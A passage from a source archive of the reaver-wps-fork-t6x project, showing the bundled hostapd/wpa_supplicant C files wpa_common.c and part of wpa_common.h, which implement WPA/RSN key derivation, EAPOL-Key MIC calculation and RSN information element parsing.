PRIVSEP_EVENT_MICHAEL_MIC_FAILURE, PRIVSEP_EVENT_INTERFACE_STATUS, PRIVSEP_EVENT_PMKID_CANDIDATE, PRIVSEP_EVENT_STKSTART, PRIVSEP_EVENT_FT_RESPONSE, PRIVSEP_EVENT_RX_EAPOL, }; #endif /* PRIVSEP_COMMANDS_H */ reaver-wps-fork-t6x-1.6.6/src/common/wpa_common.c000077500000000000000000000511571363372615500217060ustar00rootroot00000000000000/* * WPA/RSN - Shared functions for supplicant and authenticator * Copyright (c) 2002-2008, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "crypto/md5.h" #include "crypto/sha1.h" #include "crypto/sha256.h" #include "crypto/aes_wrap.h" #include "crypto/crypto.h" #include "ieee802_11_defs.h" #include "defs.h" #include "wpa_common.h" /** * wpa_eapol_key_mic - Calculate EAPOL-Key MIC * @key: EAPOL-Key Key Confirmation Key (KCK) * @ver: Key descriptor version (WPA_KEY_INFO_TYPE_*) * @buf: Pointer to the beginning of the EAPOL header (version field) * @len: Length of the EAPOL frame (from EAPOL header to the end of the frame) * @mic: Pointer to the buffer to which the EAPOL-Key MIC is written * Returns: 0 on success, -1 on failure * * Calculate EAPOL-Key MIC for an EAPOL-Key packet. The EAPOL-Key MIC field has * to be cleared (all zeroes) when calling this function. * * Note: 'IEEE Std 802.11i-2004 - 8.5.2 EAPOL-Key frames' has an error in the * description of the Key MIC calculation. It includes packet data from the * beginning of the EAPOL-Key header, not EAPOL header. This incorrect change * happened during final editing of the standard and the correct behavior is * defined in the last draft (IEEE 802.11i/D10). */ int wpa_eapol_key_mic(const u8 *key, int ver, const u8 *buf, size_t len, u8 *mic) { u8 hash[SHA1_MAC_LEN]; switch (ver) { case WPA_KEY_INFO_TYPE_HMAC_MD5_RC4: return hmac_md5(key, 16, buf, len, mic); case WPA_KEY_INFO_TYPE_HMAC_SHA1_AES: if (hmac_sha1(key, 16, buf, len, hash)) return -1; os_memcpy(mic, hash, MD5_MAC_LEN); break; #if defined(CONFIG_IEEE80211R) || defined(CONFIG_IEEE80211W) case WPA_KEY_INFO_TYPE_AES_128_CMAC: return omac1_aes_128(key, buf, len, mic); #endif /* CONFIG_IEEE80211R || CONFIG_IEEE80211W */ default: return -1; } return 0; } /** * wpa_pmk_to_ptk - Calculate PTK from PMK, addresses, and nonces * @pmk: Pairwise master key * @pmk_len: Length of PMK * @label: Label to use in derivation * @addr1: AA or SA * @addr2: SA or AA * @nonce1: ANonce or SNonce * @nonce2: SNonce or ANonce * @ptk: Buffer for pairwise transient key * @ptk_len: Length of PTK * @use_sha256: Whether to use SHA256-based KDF * * IEEE Std 802.11i-2004 - 8.5.1.2 Pairwise key hierarchy * PTK = PRF-X(PMK, "Pairwise key expansion", * Min(AA, SA) || Max(AA, SA) || * Min(ANonce, SNonce) || Max(ANonce, SNonce)) * * STK = PRF-X(SMK, "Peer key expansion", * Min(MAC_I, MAC_P) || Max(MAC_I, MAC_P) || * Min(INonce, PNonce) || Max(INonce, PNonce)) */ void wpa_pmk_to_ptk(const u8 *pmk, size_t pmk_len, const char *label, const u8 *addr1, const u8 *addr2, const u8 *nonce1, const u8 *nonce2, u8 *ptk, size_t ptk_len, int use_sha256) { u8 data[2 * ETH_ALEN + 2 * WPA_NONCE_LEN]; if (os_memcmp(addr1, addr2, ETH_ALEN) < 0) { os_memcpy(data, addr1, ETH_ALEN); os_memcpy(data + ETH_ALEN, addr2, ETH_ALEN); } else { os_memcpy(data, addr2, ETH_ALEN); os_memcpy(data + ETH_ALEN, addr1, ETH_ALEN); } if (os_memcmp(nonce1, nonce2, WPA_NONCE_LEN) < 0) { os_memcpy(data + 2 * ETH_ALEN, nonce1, WPA_NONCE_LEN); os_memcpy(data + 2 * ETH_ALEN + WPA_NONCE_LEN, nonce2, WPA_NONCE_LEN); } else { os_memcpy(data + 2 * ETH_ALEN, nonce2, WPA_NONCE_LEN); os_memcpy(data + 2 * ETH_ALEN + WPA_NONCE_LEN, nonce1, WPA_NONCE_LEN); } #ifdef CONFIG_IEEE80211W if (use_sha256) sha256_prf(pmk, pmk_len, label, data, sizeof(data), ptk, ptk_len); else #endif /* CONFIG_IEEE80211W */ sha1_prf(pmk, pmk_len, label, data, sizeof(data), ptk, ptk_len); wpa_printf(MSG_DEBUG, "WPA: PTK derivation - A1=" MACSTR " A2=" MACSTR, MAC2STR(addr1), MAC2STR(addr2)); wpa_hexdump_key(MSG_DEBUG, "WPA: PMK", pmk, pmk_len); wpa_hexdump_key(MSG_DEBUG, "WPA: PTK", ptk, ptk_len); } #ifdef CONFIG_IEEE80211R int wpa_ft_mic(const u8 *kck, const u8 *sta_addr, const u8 *ap_addr, u8 transaction_seqnum, const u8 *mdie, size_t mdie_len, const u8 *ftie, size_t ftie_len, const u8 *rsnie, size_t rsnie_len, const u8 *ric, size_t ric_len, u8 *mic) { u8 *buf, *pos; size_t buf_len; buf_len = 2 * ETH_ALEN + 1 + mdie_len + ftie_len + rsnie_len + ric_len; buf = os_malloc(buf_len); if (buf == NULL) return -1; pos = buf; os_memcpy(pos, sta_addr, ETH_ALEN); pos += ETH_ALEN; os_memcpy(pos, ap_addr, ETH_ALEN); pos += ETH_ALEN; *pos++ = transaction_seqnum; if (rsnie) { os_memcpy(pos, rsnie, rsnie_len); pos += rsnie_len; } if (mdie) { os_memcpy(pos, mdie, mdie_len); pos += mdie_len; } if (ftie) { struct rsn_ftie *_ftie; os_memcpy(pos, ftie, ftie_len); if (ftie_len < 2 + sizeof(*_ftie)) { os_free(buf); return -1; } _ftie = (struct rsn_ftie *) (pos + 2); os_memset(_ftie->mic, 0, sizeof(_ftie->mic)); pos += ftie_len; } if (ric) { os_memcpy(pos, ric, ric_len); pos += ric_len; } wpa_hexdump(MSG_MSGDUMP, "FT: MIC data", buf, pos - buf); if (omac1_aes_128(kck, buf, pos - buf, mic)) { os_free(buf); return -1; } os_free(buf); return 0; } #endif /* CONFIG_IEEE80211R */ #ifndef CONFIG_NO_WPA2 static int rsn_selector_to_bitfield(const u8 *s) { if (RSN_SELECTOR_GET(s) == RSN_CIPHER_SUITE_NONE) return WPA_CIPHER_NONE; if (RSN_SELECTOR_GET(s) == RSN_CIPHER_SUITE_WEP40) return WPA_CIPHER_WEP40; if (RSN_SELECTOR_GET(s) == RSN_CIPHER_SUITE_TKIP) return WPA_CIPHER_TKIP; if (RSN_SELECTOR_GET(s) == RSN_CIPHER_SUITE_CCMP) return WPA_CIPHER_CCMP; if (RSN_SELECTOR_GET(s) == RSN_CIPHER_SUITE_WEP104) return WPA_CIPHER_WEP104; #ifdef CONFIG_IEEE80211W if (RSN_SELECTOR_GET(s) == RSN_CIPHER_SUITE_AES_128_CMAC) return WPA_CIPHER_AES_128_CMAC; #endif /* CONFIG_IEEE80211W */ return 0; } static int rsn_key_mgmt_to_bitfield(const u8 *s) { if (RSN_SELECTOR_GET(s) == RSN_AUTH_KEY_MGMT_UNSPEC_802_1X) return WPA_KEY_MGMT_IEEE8021X; if (RSN_SELECTOR_GET(s) == RSN_AUTH_KEY_MGMT_PSK_OVER_802_1X) return WPA_KEY_MGMT_PSK; #ifdef CONFIG_IEEE80211R if (RSN_SELECTOR_GET(s) == RSN_AUTH_KEY_MGMT_FT_802_1X) return WPA_KEY_MGMT_FT_IEEE8021X; if (RSN_SELECTOR_GET(s) == RSN_AUTH_KEY_MGMT_FT_PSK) return WPA_KEY_MGMT_FT_PSK; #endif /* CONFIG_IEEE80211R */ #ifdef CONFIG_IEEE80211W if (RSN_SELECTOR_GET(s) == RSN_AUTH_KEY_MGMT_802_1X_SHA256) return WPA_KEY_MGMT_IEEE8021X_SHA256; if (RSN_SELECTOR_GET(s) == RSN_AUTH_KEY_MGMT_PSK_SHA256) return WPA_KEY_MGMT_PSK_SHA256; #endif /* CONFIG_IEEE80211W */ return 0; } #endif /* CONFIG_NO_WPA2 */ /** * wpa_parse_wpa_ie_rsn - Parse RSN IE * @rsn_ie: Buffer containing RSN IE * @rsn_ie_len: RSN IE buffer length (including IE number and length octets) * @data: Pointer to structure that will be filled in with parsed data * Returns: 0 on success, <0 on failure */ int wpa_parse_wpa_ie_rsn(const u8 *rsn_ie, size_t rsn_ie_len, struct wpa_ie_data *data) { #ifndef CONFIG_NO_WPA2 const struct rsn_ie_hdr *hdr; const u8 *pos; int left; int i, count; os_memset(data, 0, sizeof(*data)); data->proto = WPA_PROTO_RSN; data->pairwise_cipher = WPA_CIPHER_CCMP; data->group_cipher = WPA_CIPHER_CCMP; data->key_mgmt = WPA_KEY_MGMT_IEEE8021X; data->capabilities = 0; data->pmkid = NULL; data->num_pmkid = 0; #ifdef CONFIG_IEEE80211W data->mgmt_group_cipher = WPA_CIPHER_AES_128_CMAC; #else /* CONFIG_IEEE80211W */ data->mgmt_group_cipher = 0; #endif /* CONFIG_IEEE80211W */ if (rsn_ie_len == 0) { /* No RSN IE - fail silently */ return -1; } if (rsn_ie_len < sizeof(struct rsn_ie_hdr)) { wpa_printf(MSG_DEBUG, "%s: ie len too short %lu", __func__, (unsigned long) rsn_ie_len); return -1; } hdr = (const struct rsn_ie_hdr *) rsn_ie; if (hdr->elem_id != WLAN_EID_RSN || hdr->len != rsn_ie_len - 2 || WPA_GET_LE16(hdr->version) != RSN_VERSION) { wpa_printf(MSG_DEBUG, "%s: malformed ie or unknown version", __func__); return -2; } pos = (const u8 *) (hdr + 1); left = rsn_ie_len - sizeof(*hdr); if (left >= RSN_SELECTOR_LEN) { data->group_cipher = rsn_selector_to_bitfield(pos); #ifdef CONFIG_IEEE80211W if (data->group_cipher == WPA_CIPHER_AES_128_CMAC) { wpa_printf(MSG_DEBUG, "%s: AES-128-CMAC used as group " "cipher", __func__); return -1; } #endif /* CONFIG_IEEE80211W */ pos += RSN_SELECTOR_LEN; left -= RSN_SELECTOR_LEN; } else if (left > 0) { wpa_printf(MSG_DEBUG, "%s: ie length mismatch, %u too much", __func__, left); return -3; } if (left >= 2) { data->pairwise_cipher = 0; count = WPA_GET_LE16(pos); pos += 2; left -= 2; if (count == 0 || left < count * RSN_SELECTOR_LEN) { wpa_printf(MSG_DEBUG, "%s: ie count botch (pairwise), " "count %u left %u", __func__, count, left); return -4; } for (i = 0; i < count; i++) { data->pairwise_cipher |= rsn_selector_to_bitfield(pos); pos += RSN_SELECTOR_LEN; left -= RSN_SELECTOR_LEN; } #ifdef CONFIG_IEEE80211W if (data->pairwise_cipher & WPA_CIPHER_AES_128_CMAC) { wpa_printf(MSG_DEBUG, "%s: AES-128-CMAC used as " "pairwise cipher", __func__); return -1; } #endif /* CONFIG_IEEE80211W */ } else if (left == 1) { wpa_printf(MSG_DEBUG, "%s: ie too short (for key mgmt)", __func__); return -5; } if (left >= 2) { data->key_mgmt = 0; count = WPA_GET_LE16(pos); pos += 2; left -= 2; if (count == 0 || left < count * RSN_SELECTOR_LEN) { wpa_printf(MSG_DEBUG, "%s: ie count botch (key mgmt), " "count %u left %u", __func__, count, left); return -6; } for (i = 0; i < count; i++) { data->key_mgmt |= rsn_key_mgmt_to_bitfield(pos); pos += RSN_SELECTOR_LEN; left -= RSN_SELECTOR_LEN; } } else if (left == 1) { wpa_printf(MSG_DEBUG, "%s: ie too short (for capabilities)", __func__); return -7; } if (left >= 2) { data->capabilities = WPA_GET_LE16(pos); pos += 2; left -= 2; } if (left >= 2) { data->num_pmkid = WPA_GET_LE16(pos); pos += 2; left -= 2; if (left < (int) data->num_pmkid * PMKID_LEN) { wpa_printf(MSG_DEBUG, "%s: PMKID underflow " "(num_pmkid=%lu left=%d)", __func__, (unsigned long) data->num_pmkid, left); data->num_pmkid = 0; return -9; } else { data->pmkid = pos; pos += data->num_pmkid * PMKID_LEN; left -= data->num_pmkid * PMKID_LEN; } } #ifdef CONFIG_IEEE80211W if (left >= 4) { data->mgmt_group_cipher = rsn_selector_to_bitfield(pos); if (data->mgmt_group_cipher != WPA_CIPHER_AES_128_CMAC) { wpa_printf(MSG_DEBUG, "%s: Unsupported management " "group cipher 0x%x", __func__, data->mgmt_group_cipher); return -10; } pos += RSN_SELECTOR_LEN; left -= RSN_SELECTOR_LEN; } #endif /* CONFIG_IEEE80211W */ if (left > 0) { wpa_printf(MSG_DEBUG, "%s: ie has %u trailing bytes - ignored", __func__, left); } return 0; #else /* CONFIG_NO_WPA2 */ return -1; #endif /* CONFIG_NO_WPA2 */ } #ifdef CONFIG_IEEE80211R /** * wpa_derive_pmk_r0 - Derive PMK-R0 and PMKR0Name * * IEEE Std 802.11r-2008 - 8.5.1.5.3 */ void wpa_derive_pmk_r0(const u8 *xxkey, size_t xxkey_len, const u8 *ssid, size_t ssid_len, const u8 *mdid, const u8 *r0kh_id, size_t r0kh_id_len, const u8 *s0kh_id, u8 *pmk_r0, u8 *pmk_r0_name) { u8 buf[1 + WPA_MAX_SSID_LEN + MOBILITY_DOMAIN_ID_LEN + 1 + FT_R0KH_ID_MAX_LEN + ETH_ALEN]; u8 *pos, r0_key_data[48], hash[32]; const u8 *addr[2]; size_t len[2]; /* * R0-Key-Data = KDF-384(XXKey, "FT-R0", * SSIDlength || SSID || MDID || R0KHlength || * R0KH-ID || S0KH-ID) * XXKey is either the second 256 bits of MSK or PSK. * PMK-R0 = L(R0-Key-Data, 0, 256) * PMK-R0Name-Salt = L(R0-Key-Data, 256, 128) */ if (ssid_len > WPA_MAX_SSID_LEN || r0kh_id_len > FT_R0KH_ID_MAX_LEN) return; pos = buf; *pos++ = ssid_len; os_memcpy(pos, ssid, ssid_len); pos += ssid_len; os_memcpy(pos, mdid, MOBILITY_DOMAIN_ID_LEN); pos += MOBILITY_DOMAIN_ID_LEN; *pos++ = r0kh_id_len; os_memcpy(pos, r0kh_id, r0kh_id_len); pos += r0kh_id_len; os_memcpy(pos, s0kh_id, ETH_ALEN); pos += ETH_ALEN; sha256_prf(xxkey, xxkey_len, "FT-R0", buf, pos - buf, r0_key_data, sizeof(r0_key_data)); os_memcpy(pmk_r0, r0_key_data, PMK_LEN); /* * PMKR0Name = Truncate-128(SHA-256("FT-R0N" || PMK-R0Name-Salt) */ addr[0] = (const u8 *) "FT-R0N"; len[0] = 6; addr[1] = r0_key_data + PMK_LEN; len[1] = 16; sha256_vector(2, addr, len, hash); os_memcpy(pmk_r0_name, hash, WPA_PMK_NAME_LEN); } /** * wpa_derive_pmk_r1_name - Derive PMKR1Name * * IEEE Std 802.11r-2008 - 8.5.1.5.4 */ void wpa_derive_pmk_r1_name(const u8 *pmk_r0_name, const u8 *r1kh_id, const u8 *s1kh_id, u8 *pmk_r1_name) { u8 hash[32]; const u8 *addr[4]; size_t len[4]; /* * PMKR1Name = Truncate-128(SHA-256("FT-R1N" || PMKR0Name || * R1KH-ID || S1KH-ID)) */ addr[0] = (const u8 *) "FT-R1N"; len[0] = 6; addr[1] = pmk_r0_name; len[1] = WPA_PMK_NAME_LEN; addr[2] = r1kh_id; len[2] = FT_R1KH_ID_LEN; addr[3] = s1kh_id; len[3] = ETH_ALEN; sha256_vector(4, addr, len, hash); os_memcpy(pmk_r1_name, hash, WPA_PMK_NAME_LEN); } /** * wpa_derive_pmk_r1 - Derive PMK-R1 and PMKR1Name from PMK-R0 * * IEEE Std 802.11r-2008 - 8.5.1.5.4 */ void wpa_derive_pmk_r1(const u8 *pmk_r0, const u8 *pmk_r0_name, const u8 *r1kh_id, const u8 *s1kh_id, u8 *pmk_r1, u8 *pmk_r1_name) { u8 buf[FT_R1KH_ID_LEN + ETH_ALEN]; u8 *pos; /* PMK-R1 = KDF-256(PMK-R0, "FT-R1", R1KH-ID || S1KH-ID) */ pos = buf; os_memcpy(pos, r1kh_id, FT_R1KH_ID_LEN); pos += FT_R1KH_ID_LEN; os_memcpy(pos, s1kh_id, ETH_ALEN); pos += ETH_ALEN; sha256_prf(pmk_r0, PMK_LEN, "FT-R1", buf, pos - buf, pmk_r1, PMK_LEN); wpa_derive_pmk_r1_name(pmk_r0_name, r1kh_id, s1kh_id, pmk_r1_name); } /** * wpa_pmk_r1_to_ptk - Derive PTK and PTKName from PMK-R1 * * IEEE Std 802.11r-2008 - 8.5.1.5.5 */ void wpa_pmk_r1_to_ptk(const u8 *pmk_r1, const u8 *snonce, const u8 *anonce, const u8 *sta_addr, const u8 *bssid, const u8 *pmk_r1_name, u8 *ptk, size_t ptk_len, u8 *ptk_name) { u8 buf[2 * WPA_NONCE_LEN + 2 * ETH_ALEN]; u8 *pos, hash[32]; const u8 *addr[6]; size_t len[6]; /* * PTK = KDF-PTKLen(PMK-R1, "FT-PTK", SNonce || ANonce || * BSSID || STA-ADDR) */ pos = buf; os_memcpy(pos, snonce, WPA_NONCE_LEN); pos += WPA_NONCE_LEN; os_memcpy(pos, anonce, WPA_NONCE_LEN); pos += WPA_NONCE_LEN; os_memcpy(pos, bssid, ETH_ALEN); pos += ETH_ALEN; os_memcpy(pos, sta_addr, ETH_ALEN); pos += ETH_ALEN; sha256_prf(pmk_r1, PMK_LEN, "FT-PTK", buf, pos - buf, ptk, ptk_len); /* * PTKName = Truncate-128(SHA-256(PMKR1Name || "FT-PTKN" || SNonce || * ANonce || BSSID || STA-ADDR)) */ addr[0] = pmk_r1_name; len[0] = WPA_PMK_NAME_LEN; addr[1] = (const u8 *) "FT-PTKN"; len[1] = 7; addr[2] = snonce; len[2] = WPA_NONCE_LEN; addr[3] = anonce; len[3] = WPA_NONCE_LEN; addr[4] = bssid; len[4] = ETH_ALEN; addr[5] = sta_addr; len[5] = ETH_ALEN; sha256_vector(6, addr, len, hash); os_memcpy(ptk_name, hash, WPA_PMK_NAME_LEN); } #endif /* CONFIG_IEEE80211R */ /** * rsn_pmkid - Calculate PMK identifier * @pmk: Pairwise master key * @pmk_len: Length of pmk in bytes * @aa: Authenticator address * @spa: Supplicant address * @pmkid: Buffer for PMKID * @use_sha256: Whether to use SHA256-based KDF * * IEEE Std 802.11i-2004 - 8.5.1.2 Pairwise key hierarchy * PMKID = HMAC-SHA1-128(PMK, "PMK Name" || AA || SPA) */ void rsn_pmkid(const u8 *pmk, size_t pmk_len, const u8 *aa, const u8 *spa, u8 *pmkid, int use_sha256) { char *title = "PMK Name"; const u8 *addr[3]; const size_t len[3] = { 8, ETH_ALEN, ETH_ALEN }; unsigned char hash[SHA256_MAC_LEN]; addr[0] = (u8 *) title; addr[1] = aa; addr[2] = spa; #ifdef CONFIG_IEEE80211W if (use_sha256) hmac_sha256_vector(pmk, pmk_len, 3, addr, len, hash); else #endif /* CONFIG_IEEE80211W */ hmac_sha1_vector(pmk, pmk_len, 3, addr, len, hash); os_memcpy(pmkid, hash, PMKID_LEN); } /** * wpa_cipher_txt - Convert cipher suite to a text string * @cipher: Cipher suite (WPA_CIPHER_* enum) * Returns: Pointer to a text string of the cipher suite name */ const char * wpa_cipher_txt(int cipher) { switch (cipher) { case WPA_CIPHER_NONE: return "NONE"; case WPA_CIPHER_WEP40: return "WEP-40"; case WPA_CIPHER_WEP104: return "WEP-104"; case WPA_CIPHER_TKIP: return "TKIP"; case WPA_CIPHER_CCMP: return "CCMP"; case WPA_CIPHER_CCMP | WPA_CIPHER_TKIP: return "CCMP+TKIP"; default: return "UNKNOWN"; } } /** * wpa_key_mgmt_txt - Convert key management suite to a text string * @key_mgmt: Key management suite (WPA_KEY_MGMT_* enum) * @proto: WPA/WPA2 version (WPA_PROTO_*) * Returns: Pointer to a text string of the key management suite name */ const char * wpa_key_mgmt_txt(int key_mgmt, int proto) { switch (key_mgmt) { case WPA_KEY_MGMT_IEEE8021X: if (proto == (WPA_PROTO_RSN | WPA_PROTO_WPA)) return "WPA2+WPA/IEEE 802.1X/EAP"; return proto == WPA_PROTO_RSN ? "WPA2/IEEE 802.1X/EAP" : "WPA/IEEE 802.1X/EAP"; case WPA_KEY_MGMT_PSK: if (proto == (WPA_PROTO_RSN | WPA_PROTO_WPA)) return "WPA2-PSK+WPA-PSK"; return proto == WPA_PROTO_RSN ? "WPA2-PSK" : "WPA-PSK"; case WPA_KEY_MGMT_NONE: return "NONE"; case WPA_KEY_MGMT_IEEE8021X_NO_WPA: return "IEEE 802.1X (no WPA)"; #ifdef CONFIG_IEEE80211R case WPA_KEY_MGMT_FT_IEEE8021X: return "FT-EAP"; case WPA_KEY_MGMT_FT_PSK: return "FT-PSK"; #endif /* CONFIG_IEEE80211R */ #ifdef CONFIG_IEEE80211W case WPA_KEY_MGMT_IEEE8021X_SHA256: return "WPA2-EAP-SHA256"; case WPA_KEY_MGMT_PSK_SHA256: return "WPA2-PSK-SHA256"; #endif /* CONFIG_IEEE80211W */ default: return "UNKNOWN"; } } int wpa_compare_rsn_ie(int ft_initial_assoc, const u8 *ie1, size_t ie1len, const u8 *ie2, size_t ie2len) { if (ie1 == NULL || ie2 == NULL) return -1; if (ie1len == ie2len && os_memcmp(ie1, ie2, ie1len) == 0) return 0; /* identical IEs */ #ifdef CONFIG_IEEE80211R if (ft_initial_assoc) { struct wpa_ie_data ie1d, ie2d; /* * The PMKID-List in RSN IE is different between Beacon/Probe * Response/(Re)Association Request frames and EAPOL-Key * messages in FT initial mobility domain association. Allow * for this, but verify that other parts of the RSN IEs are * identical. */ if (wpa_parse_wpa_ie_rsn(ie1, ie1len, &ie1d) < 0 || wpa_parse_wpa_ie_rsn(ie2, ie2len, &ie2d) < 0) return -1; if (ie1d.proto == ie2d.proto && ie1d.pairwise_cipher == ie2d.pairwise_cipher && ie1d.group_cipher == ie2d.group_cipher && ie1d.key_mgmt == ie2d.key_mgmt && ie1d.capabilities == ie2d.capabilities && ie1d.mgmt_group_cipher == ie2d.mgmt_group_cipher) return 0; } #endif /* CONFIG_IEEE80211R */ return -1; } #ifdef CONFIG_IEEE80211R int wpa_insert_pmkid(u8 *ies, size_t ies_len, const u8 *pmkid) { u8 *start, *end, *rpos, *rend; int added = 0; start = ies; end = ies + ies_len; while (start < end) { if (*start == WLAN_EID_RSN) break; start += 2 + start[1]; } if (start >= end) { wpa_printf(MSG_ERROR, "FT: Could not find RSN IE in " "IEs data"); return -1; } wpa_hexdump(MSG_DEBUG, "FT: RSN IE before modification", start, 2 + start[1]); /* Find start of PMKID-Count */ rpos = start + 2; rend = rpos + start[1]; /* Skip Version and Group Data Cipher Suite */ rpos += 2 + 4; /* Skip Pairwise Cipher Suite Count and List */ rpos += 2 + WPA_GET_LE16(rpos) * RSN_SELECTOR_LEN; /* Skip AKM Suite Count and List */ rpos += 2 + WPA_GET_LE16(rpos) * RSN_SELECTOR_LEN; if (rpos == rend) { /* Add RSN Capabilities */ os_memmove(rpos + 2, rpos, end - rpos); *rpos++ = 0; *rpos++ = 0; } else { /* Skip RSN Capabilities */ rpos += 2; if (rpos > rend) { wpa_printf(MSG_ERROR, "FT: Could not parse RSN IE in " "IEs data"); return -1; } } if (rpos == rend) { /* No PMKID-Count field included; add it */ os_memmove(rpos + 2 + PMKID_LEN, rpos, end - rpos); WPA_PUT_LE16(rpos, 1); rpos += 2; os_memcpy(rpos, pmkid, PMKID_LEN); added += 2 + PMKID_LEN; start[1] += 2 + PMKID_LEN; } else { /* PMKID-Count was included; use it */ if (WPA_GET_LE16(rpos) != 0) { wpa_printf(MSG_ERROR, "FT: Unexpected PMKID " "in RSN IE in EAPOL-Key data"); return -1; } WPA_PUT_LE16(rpos, 1); rpos += 2; os_memmove(rpos + PMKID_LEN, rpos, end - rpos); os_memcpy(rpos, pmkid, PMKID_LEN); added += PMKID_LEN; start[1] += PMKID_LEN; } wpa_hexdump(MSG_DEBUG, "FT: RSN IE after modification " "(PMKID inserted)", start, 2 + start[1]); return added; } #endif /* CONFIG_IEEE80211R */ reaver-wps-fork-t6x-1.6.6/src/common/wpa_common.h000077500000000000000000000247521363372615500217140ustar00rootroot00000000000000/* * WPA definitions shared between hostapd and wpa_supplicant * Copyright (c) 2002-2008, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef WPA_COMMON_H #define WPA_COMMON_H #define WPA_MAX_SSID_LEN 32 /* IEEE 802.11i */ #define PMKID_LEN 16 #define PMK_LEN 32 #define WPA_REPLAY_COUNTER_LEN 8 #define WPA_NONCE_LEN 32 #define WPA_KEY_RSC_LEN 8 #define WPA_GMK_LEN 32 #define WPA_GTK_MAX_LEN 32 #define WPA_SELECTOR_LEN 4 #define WPA_VERSION 1 #define RSN_SELECTOR_LEN 4 #define RSN_VERSION 1 #define RSN_SELECTOR(a, b, c, d) \ ((((u32) (a)) << 24) | (((u32) (b)) << 16) | (((u32) (c)) << 8) | \ (u32) (d)) #define WPA_AUTH_KEY_MGMT_NONE RSN_SELECTOR(0x00, 0x50, 0xf2, 0) #define WPA_AUTH_KEY_MGMT_UNSPEC_802_1X RSN_SELECTOR(0x00, 0x50, 0xf2, 1) #define WPA_AUTH_KEY_MGMT_PSK_OVER_802_1X RSN_SELECTOR(0x00, 0x50, 0xf2, 2) #define WPA_CIPHER_SUITE_NONE RSN_SELECTOR(0x00, 0x50, 0xf2, 0) #define WPA_CIPHER_SUITE_WEP40 RSN_SELECTOR(0x00, 0x50, 0xf2, 1) #define WPA_CIPHER_SUITE_TKIP RSN_SELECTOR(0x00, 0x50, 0xf2, 2) #if 0 #define WPA_CIPHER_SUITE_WRAP RSN_SELECTOR(0x00, 0x50, 0xf2, 3) #endif #define WPA_CIPHER_SUITE_CCMP RSN_SELECTOR(0x00, 0x50, 0xf2, 4) #define WPA_CIPHER_SUITE_WEP104 RSN_SELECTOR(0x00, 0x50, 0xf2, 5) #define RSN_AUTH_KEY_MGMT_UNSPEC_802_1X RSN_SELECTOR(0x00, 0x0f, 0xac, 1) #define RSN_AUTH_KEY_MGMT_PSK_OVER_802_1X RSN_SELECTOR(0x00, 0x0f, 0xac, 2) #ifdef CONFIG_IEEE80211R #define RSN_AUTH_KEY_MGMT_FT_802_1X RSN_SELECTOR(0x00, 0x0f, 0xac, 3) #define RSN_AUTH_KEY_MGMT_FT_PSK RSN_SELECTOR(0x00, 0x0f, 0xac, 4) #endif /* CONFIG_IEEE80211R */ #define RSN_AUTH_KEY_MGMT_802_1X_SHA256 RSN_SELECTOR(0x00, 0x0f, 0xac, 5) #define RSN_AUTH_KEY_MGMT_PSK_SHA256 RSN_SELECTOR(0x00, 0x0f, 0xac, 6) #define RSN_CIPHER_SUITE_NONE RSN_SELECTOR(0x00, 0x0f, 0xac, 0) #define RSN_CIPHER_SUITE_WEP40 RSN_SELECTOR(0x00, 0x0f, 0xac, 1) #define RSN_CIPHER_SUITE_TKIP RSN_SELECTOR(0x00, 0x0f, 0xac, 2) #if 0 #define RSN_CIPHER_SUITE_WRAP RSN_SELECTOR(0x00, 0x0f, 0xac, 3) #endif #define RSN_CIPHER_SUITE_CCMP RSN_SELECTOR(0x00, 0x0f, 0xac, 4) #define RSN_CIPHER_SUITE_WEP104 RSN_SELECTOR(0x00, 0x0f, 0xac, 5) #ifdef CONFIG_IEEE80211W #define RSN_CIPHER_SUITE_AES_128_CMAC RSN_SELECTOR(0x00, 0x0f, 0xac, 6) #endif /* CONFIG_IEEE80211W */ /* EAPOL-Key Key Data Encapsulation * GroupKey and PeerKey require encryption, otherwise, encryption is optional. */ #define RSN_KEY_DATA_GROUPKEY RSN_SELECTOR(0x00, 0x0f, 0xac, 1) #if 0 #define RSN_KEY_DATA_STAKEY RSN_SELECTOR(0x00, 0x0f, 0xac, 2) #endif #define RSN_KEY_DATA_MAC_ADDR RSN_SELECTOR(0x00, 0x0f, 0xac, 3) #define RSN_KEY_DATA_PMKID RSN_SELECTOR(0x00, 0x0f, 0xac, 4) #ifdef CONFIG_PEERKEY #define RSN_KEY_DATA_SMK RSN_SELECTOR(0x00, 0x0f, 0xac, 5) #define RSN_KEY_DATA_NONCE RSN_SELECTOR(0x00, 0x0f, 0xac, 6) #define RSN_KEY_DATA_LIFETIME RSN_SELECTOR(0x00, 0x0f, 0xac, 7) #define RSN_KEY_DATA_ERROR RSN_SELECTOR(0x00, 0x0f, 0xac, 8) #endif /* CONFIG_PEERKEY */ #ifdef CONFIG_IEEE80211W #define RSN_KEY_DATA_IGTK RSN_SELECTOR(0x00, 0x0f, 0xac, 9) #endif /* CONFIG_IEEE80211W */ #define WPA_OUI_TYPE RSN_SELECTOR(0x00, 0x50, 0xf2, 1) #define RSN_SELECTOR_PUT(a, val) WPA_PUT_BE32((u8 *) (a), (val)) #define RSN_SELECTOR_GET(a) WPA_GET_BE32((const u8 *) (a)) #define RSN_NUM_REPLAY_COUNTERS_1 0 #define RSN_NUM_REPLAY_COUNTERS_2 1 #define RSN_NUM_REPLAY_COUNTERS_4 2 #define RSN_NUM_REPLAY_COUNTERS_16 3 #ifdef _MSC_VER #pragma pack(push, 1) #endif /* _MSC_VER */ #ifdef CONFIG_IEEE80211W #define WPA_IGTK_LEN 16 #endif /* CONFIG_IEEE80211W */ /* IEEE 802.11, 7.3.2.25.3 RSN Capabilities */ #define WPA_CAPABILITY_PREAUTH BIT(0) #define WPA_CAPABILITY_NO_PAIRWISE BIT(1) /* B2-B3: PTKSA Replay Counter */ /* B4-B5: GTKSA Replay Counter */ #define WPA_CAPABILITY_MFPR BIT(6) #define WPA_CAPABILITY_MFPC BIT(7) #define WPA_CAPABILITY_PEERKEY_ENABLED BIT(9) /* IEEE 802.11r */ #define MOBILITY_DOMAIN_ID_LEN 2 #define FT_R0KH_ID_MAX_LEN 48 #define FT_R1KH_ID_LEN 6 #define WPA_PMK_NAME_LEN 16 /* IEEE 802.11, 